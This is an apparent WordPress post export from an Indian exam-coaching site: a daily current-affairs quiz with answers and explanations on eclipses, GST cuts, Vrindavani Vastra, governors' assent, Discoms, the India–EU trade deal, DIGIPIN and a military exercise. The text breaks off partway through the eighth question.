{"id":2296,"date":"2025-09-05T04:59:50","date_gmt":"2025-09-05T04:59:50","guid":{"rendered":"https:\/\/iasquest.com\/?p=2296"},"modified":"2026-02-11T18:54:03","modified_gmt":"2026-02-11T18:54:03","slug":"daily-current-affairs-04-09-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-04-09-2025\/","title":{"rendered":"Daily Current Affairs \u2013 04-09-2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Consider the following statements about lunar eclipses:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. A total lunar eclipse can be observed from any place on Earth where the Moon is above the horizon.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. A lunar eclipse can last longer than a solar eclipse.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. A lunar eclipse is more frequent than a solar eclipse.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> Total lunar eclipse on night between September 7 and 8<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>Total Lunar Eclipse:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-14\">\n<li>A total lunar eclipse can indeed be observed from any part of Earth where the Moon is above the horizon, unlike a solar eclipse which has a narrow visibility path. <strong>Hence Statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Although many students assume lunar eclipses are more frequent because more people can see them, in reality solar eclipses occur more frequently worldwide (2\u20135 per year) compared to 0\u20133 lunar eclipses. <strong>Hence Statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Finally, a lunar eclipse can last for several hours, with totality itself reaching nearly 1 hour 40 minutes, whereas a total solar eclipse rarely exceeds 7.5 minutes, which makes <strong>Statement 2 correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2017)<\/strong> <br><br><strong>Q. The terms \u2018Event Horizon\u2019, \u2018Singularity\u2019, \u2018String Theory\u2019 and \u2018Standard Model\u2019 are sometimes seen in the news in the context of<\/strong> <br><br><strong>(a) Observation and understanding of the Universe<\/strong> <br>(b) Study of the solar and the lunar eclipses <br>(c) Placing satellites in the orbit of the Earth <br>(d) Origin and evolution of living organisms on the Earth<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/karnataka\/total-lunar-eclipse-on-the-intervening-night-of-sept-7-and-8\/article70008619.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/karnataka\/total-lunar-eclipse-on-the-intervening-night-of-sept-7-and-8\/article70008619.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>2. Consider the following statements regarding the broader impact of GST rationalisation (Sept 2025):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\">1. Reduction in GST on household items and food products will increase disposable income and support demand-led growth.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\">2. Lowering GST on automobiles and auto parts will primarily benefit high-end luxury car manufacturers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">3. Zero GST on life-saving drugs reflects the government\u2019s focus on inclusive health care.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-21 wp-block-paragraph\">&nbsp;(a) 1 and 2 only<br>&nbsp;(b) 2 only<br>&nbsp;(c) 1 and 3 only<br>&nbsp;(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>In NEWS: <\/strong>Govt reduces GST on commonly used items; new rates to be effective from 22nd of this month<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\"><strong>NEXT-GEN GST REFORMS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-26\">\n<li>The <strong>reduction in GST on household essentials and food products<\/strong> such as soaps, shampoos, bicycles, and processed food items will <strong>directly lower consumer expenditure<\/strong>, thereby increasing <strong>disposable income<\/strong>. This in turn will stimulate <strong>demand-led growth<\/strong>, making <strong>Statement 1 correct<\/strong>.<\/li>\n\n\n\n<li>The decision to lower GST on the <strong>automobile sector<\/strong>\u2014covering small cars, motorcycles up to 350 cc, buses, trucks, ambulances, three-wheelers, and all auto parts\u2014primarily benefits the <strong>mass segment and transport sector<\/strong>, not luxury car manufacturers. Thus, <strong>Statement 2 is incorrect<\/strong> as it wrongly assumes the benefit goes to high-end vehicles.<\/li>\n\n\n\n<li>The <strong>zero GST on 33 life-saving drugs and on certain medicines for cancer and rare diseases<\/strong> highlights the government\u2019s commitment towards <strong>affordable and inclusive healthcare<\/strong>, making <strong>Statement 3 correct<\/strong>.<\/li>\n\n\n\n<li>Collectively, these reforms aim at easing the financial burden of households, supporting rural and urban consumers, boosting industry competitiveness, and aligning taxation with the vision of inclusive growth.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2018)<\/strong> <br><br><strong>Q. What is\/are the most likely advantages of implementing \u2018Goods and Services Tax (GST)\u2019?<\/strong> <br><br>1. It will replace multiple taxes collected by multiple authorities and will thus create a single market in India. <br>2. It will drastically reduce the \u2018Current Account Deficit\u2019 of India and will enable it to increase its foreign exchange reserves. <br>3. It will enormously increase the growth and size of economy of India and will enable it to overtake China in the near future. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br><strong>(a) 1 only<\/strong> <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.newsonair.gov.in\/56th-meeting-of-gst-council-begins-in-national-capital-two-day-deliberations-to-focus-on-next-generation-reforms-including-tax-rates-rationalization\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.newsonair.gov.in\/56th-meeting-of-gst-council-begins-in-national-capital-two-day-deliberations-to-focus-on-next-generation-reforms-including-tax-rates-rationalization\/<\/strong><\/a><strong>&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><a><\/a><strong>3. With reference to the traditional textile Vrindavani Vastra, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">1. Vrindavani Vastra originated in Assam during the 16th century under the patronage of the saint-scholar Srimanta Sankardev.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">2. It is a type of handwoven silk textile that narrates episodes from the life of Lord Krishna, particularly his childhood in Vrindavan.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">3. The weaving technique of Vrindavani Vastra is closely related to the Kalamkari art form of South India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\">(c) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-39 wp-block-paragraph\"><strong>In NEWS: Vrindavani Vastra to return from British Museum for 2027 exhibition<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>Vrindavani Vastra:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li><strong>Vrindavani Vastra<\/strong> is one of the most significant traditional textiles of India, originating in <strong>Assam during the 16th century<\/strong>. It was created under the spiritual and cultural patronage of Srimanta Sankardev, a saint-scholar, reformer, and key figure of the Bhakti Movement in Assam. <strong>Thus, Statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The textile was woven by his disciple Madhavdev and other weavers using the indigenous weaving techniques of Assam.<\/li>\n\n\n\n<li>The textile is made of silk and is notable for its narrative quality, as it depicts episodes from the life of Lord Krishna, <strong>particularly his playful Leelas in Vrindavan<\/strong>. Its panels often show Krishna dancing with gopis, playing the flute, or lifting Govardhan hill. This religious and cultural significance makes it more than just a fabric; it is considered a visual scripture of the Vaishnavite tradition. <strong>Hence, Statement 2 is also correct.<\/strong><\/li>\n\n\n\n<li>However, the claim that its weaving technique is related to Kalamkari is inaccurate. Kalamkari is a painted or block-printed textile from Andhra Pradesh and Telangana, whereas Vrindavani Vastra is purely a <strong>woven silk art form of Assam<\/strong>. Therefore, <strong>Statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2015)<\/strong> <br><br><strong>Q. Kalamkari painting refers to<\/strong> <br><br><strong>(a) a hand-painted cotton textile in South India<\/strong> <br>(b) a handmade drawing on bamboo handicrafts in North-East India <br>(c) a block-painted woollen cloth in Western Himalayan region of India <br>(d) a hand-painted decorative silk cloth in North-Western India<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.gktoday.in\/vrindavani-vastra-textile\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.gktoday.in\/vrindavani-vastra-textile\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\"><strong>4. According to the Supreme Court\u2019s remarks in 2025, what is the correct interpretation of Article 200 of the Indian Constitution?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">(a) Governors have an absolute power to withhold State Bills indefinitely.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\">(b) Governors must act with a sense of urgency and cannot assume monarchical roles.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(c) Governors can override the wisdom of the legislature if public interest so demands.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(d) Governors may withhold assent until the Union Government directs otherwise.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>Answer: b) Governors must act with a sense of urgency and cannot assume monarchical roles.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>In NEWS:<\/strong> Presidential Reference Hearing: Supreme Court Judges Say Governors Cannot Sit Endlessly Over Bills<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Governor\u2019s role in assenting a bill:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-52\">\n<li>The Supreme Court in 2025 clarified that Governors must act with a sense of urgency and cannot assume monarchical roles (Option b is correct).<\/li>\n\n\n\n<li>It held that Governors cannot indefinitely delay Bills, as doing so would impair the Constitution\u2019s functioning.<\/li>\n\n\n\n<li>By contrast, the Court rejected the argument that Governors enjoy absolute power to withhold assent (Option a \u2013 incorrect), terming it an \u201cabsurdity.\u201d<\/li>\n\n\n\n<li>Similarly, it emphasized that Governors cannot override the legislature\u2019s wisdom (Option c \u2013 incorrect), since legislation is the domain of the elected assembly.<\/li>\n\n\n\n<li>Finally, assent under Article 200 is not dependent on Union Government direction (Option d \u2013 incorrect); the Governor is a constitutional head within the State framework.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements regarding constitutional provisions in India:<\/strong> <br><br>I. The Constitution of India explicitly mentions situations where the Governor of a State can act in his\/her discretion.\u00a0 <br>II. The President of India can, on his\/her own, reserve a Bill passed by a State Legislature for consideration, even without it being forwarded by the Governor of the concerned State.\u00a0 <br><br><strong>Which of the above statements is\/are correct?\u00a0<\/strong> <br><br><strong>(a) I only\u00a0<\/strong> <br>(b) II only\u00a0 <br>(c) Both I and II\u00a0 <br>(d) Neither I nor II<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/thewire.in\/law\/presidential-reference-hearing-supreme-court-judges-say-governors-cannot-sit-endlessly-over-bills\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/thewire.in\/law\/presidential-reference-hearing-supreme-court-judges-say-governors-cannot-sit-endlessly-over-bills<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>5. With reference to Distribution Companies (Discoms) in India, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\">1. Discoms are primarily responsible for the last-mile supply of electricity to consumers.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\">2. The Ujwal Discom Assurance Yojana (UDAY) was launched to improve the financial health of Discoms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-57 wp-block-paragraph\">3. Cross-subsidization in electricity pricing often results in higher tariffs for industrial users to keep agricultural and residential tariffs lower.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\">4. Electricity distribution is listed under the Union List of the Constitution.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">(d) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>In NEWS: SC orders DISCOMs to clear their regulatory assets | Explained<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\"><strong>DISCOMS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-68\">\n<li>Distribution Companies (Discoms) are the final link in India\u2019s power supply chain, ensuring electricity reaches households, industries, and agriculture. Thus, Statement 1 is correct, as their role is primarily last-mile delivery.<\/li>\n\n\n\n<li>However, these entities often face financial crises due to high Aggregate Technical and Commercial (AT&amp;C) losses, poor billing efficiency, and political pressures to keep tariffs low.<\/li>\n\n\n\n<li>To address this, the government launched the Ujwal Discom Assurance Yojana (UDAY) in 2015, which aimed to restructure debt, reduce interest costs, and mandate efficiency improvements. This makes Statement 2 correct.<\/li>\n\n\n\n<li>While UDAY provided short-term relief, many Discoms again slipped into financial stress, leading to newer reforms like the Revamped Distribution Sector Scheme (RDSS, 2021).<\/li>\n\n\n\n<li>A critical issue for Discoms is cross-subsidization. Industrial and commercial users are charged higher tariffs so that farmers and households can get subsidized or free power. This distortion discourages industries, adds to inefficiency, and contributes to revenue gaps\u2014hence Statement 3 is correct.<\/li>\n\n\n\n<li>Regarding the constitutional aspect, Statement 4 is incorrect. Electricity is a subject under the Concurrent List (Entry 38, Seventh Schedule), not the Union List. This means both the Centre and States have powers to legislate on it, though distribution largely remains with the States. <strong>Therefore, the correct answer is (a) 1, 2 and 3 only.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2016)<\/strong> <br><br><strong>Q. Which one of the following is a purpose of \u2018UDAY\u2019, a scheme of the Government?<\/strong> <br><br>(a) Providing technical and financial assistance to startup entrepreneurs in the field of renewable sources of energy <br>(b) Providing electricity to every household in the countries by 2018 <br>(c) Replacing the coal-based power plants with natural gas, nuclear, solar, wind and tidal power plants over a period of time <br>(d) Providing for financial turnaround and revival of power distribution companies<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/sc-orders-discoms-to-clear-their-regulatory-assets-explained\/article69999325.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/sc-orders-discoms-to-clear-their-regulatory-assets-explained\/article69999325.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>6. With reference to the ongoing negotiations for the India\u2013European Union Free Trade Agreement (FTA), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">1. The FTA aims to double trade between India and the EU and stabilise the global economy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">2. One of the key sticking points in EU\u2013India trade talks has been tariffs on agricultural products and dairy.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\">3. The EU has already imposed sanctions on India for continuing trade with Russia.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">&nbsp;(a) 1 and 2 only<br>&nbsp;(b) 2 and 3 only<br>&nbsp;(c) 1 and 3 only<br>&nbsp;(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>In NEWS: Jaishankar pushes for EU-India FTA with visiting German FM<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>EU-INDIA FTA:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-80\">\n<li>The ongoing negotiations for the India\u2013EU Free Trade Agreement (FTA) hold immense economic and geopolitical value. External Affairs Minister S. Jaishankar underlined that the FTA could double trade between India and the EU and stabilise the global economy\u2014a point that makes Statement 1 correct.<\/li>\n\n\n\n<li>By acting as a \u201cballast\u201d against global uncertainty, the FTA would help diversify supply chains, reduce dependence on China, and promote resilience in global trade.<\/li>\n\n\n\n<li>However, the path to conclusion faces challenges. A major sticking point lies in the EU\u2019s demand for greater market access in India\u2019s sensitive agricultural and dairy sectors. India has been cautious in this regard, given its large agrarian base and food security concerns. This confirms that Statement 2 is correct.<\/li>\n\n\n\n<li>At the same time, the negotiations are complicated by geopolitical tensions, particularly over Russia. The EU has imposed sanctions on Russia, especially targeting oil and gas imports, but it has not sanctioned India for continuing its energy trade with Russia. This makes Statement 3 incorrect.<\/li>\n\n\n\n<li>Thus, the India\u2013EU FTA is not just a trade deal but a strategic partnership: balancing economic growth, food security, and geopolitical autonomy while reinforcing India\u2019s role as a global economic stabiliser.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following countries:<\/strong> <br><br>1. Australia<br>2. Canada<br>3. China<br>4. India<br>5. Japan<br>6. USA <br><br><strong>Which of the above are among the &#8216;free-trade partners&#8217; of ASEAN?<\/strong> <br><br>(a) 1, 2, 4 and 5 <br>(b) 3, 4, 5 and 6 <br><strong>(c) 1, 3, 4 and 5<\/strong> <br>(d) 2, 3, 4 and 6<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/hope-eu-india-fta-will-be-concluded-soon-jaishankar-after-meeting-german-counterpart\/article70007725.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/hope-eu-india-fta-will-be-concluded-soon-jaishankar-after-meeting-german-counterpart\/article70007725.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>7. The DIGIPIN system, recently in news, aims to:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(a) Replace Aadhaar with a new biometric ID system<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(b) Digitally track food grain movement under the PDS<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(c) Provide unique geo-coded digital addresses for precise location identification<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(d) Digitize land records in rural areas<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Answer: (c) Provide unique geo-coded digital addresses for precise location identification<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>In NEWS: <\/strong>Department of Posts Signs MoU with ESRI India to Strengthen the DIGIPIN Initiative<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>DIGIPIN Initiative:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li><strong>DIGIPIN (Digital Postal Index Number)<\/strong> is a <strong>geo-coded digital addressing system<\/strong> launched by the <strong>Department of Posts<\/strong>, Government of India. <strong>Hence option (c) is correct.<\/strong><\/li>\n\n\n\n<li>It aims to provide <strong>precise digital addresses<\/strong> using a grid-based mapping system that divides India into <strong>4\u202fm \u00d7\u202f4\u202fm<\/strong> squares, each with a unique DIGIPIN.<\/li>\n\n\n\n<li>DIGIPIN enables <strong>accurate location identification<\/strong>, improving <strong>postal services, emergency response, logistics, e-commerce, and governance<\/strong>.<\/li>\n\n\n\n<li>The initiative supports the goals of the <strong>National Geospatial Policy, 2022<\/strong> by promoting the use of open geospatial data and digital addressing.<\/li>\n\n\n\n<li>The DIGIPIN system was developed in collaboration with <strong>IIT Hyderabad<\/strong>.<\/li>\n\n\n\n<li>A citizen-facing web portal, <strong>\u201cApna Digipin Jaane,\u201d<\/strong> was launched in <strong>May 2025<\/strong> to allow users to look up their DIGIPIN based on coordinates or traditional addresses.<\/li>\n\n\n\n<li>In <strong>July 2025<\/strong>, a new feature was introduced allowing users to combine DIGIPIN with conventional address elements to create a <strong>composite Digital Address<\/strong>.<\/li>\n\n\n\n<li>On <strong>September 1, 2025<\/strong>, the Department of Posts signed an <strong>MoU with Esri India Technologies Pvt. Ltd.<\/strong> to enhance the DIGIPIN system.<\/li>\n\n\n\n<li>Under the MoU, <strong>Esri India<\/strong> will provide:<ul><li>High-resolution satellite imagery and street-level basemaps,<\/li><\/ul><ul><li>Integration of DIGIPIN into Esri\u2019s <strong>Living Atlas<\/strong>, and<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Technical support for improved GIS capabilities.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This integration is expected to boost DIGIPIN\u2019s adoption among the <strong>GIS community, urban planners, logistics operators, and public service departments<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162858\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2162858<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>8. With reference to Exercise MAITREE-XIV held in 2025, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">1. It is a joint military exercise between India and Bangladesh.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">2. It focuses on joint counter-terrorism military drill operations in semi-urban terrain.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>Answer:<\/strong>(<strong>b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 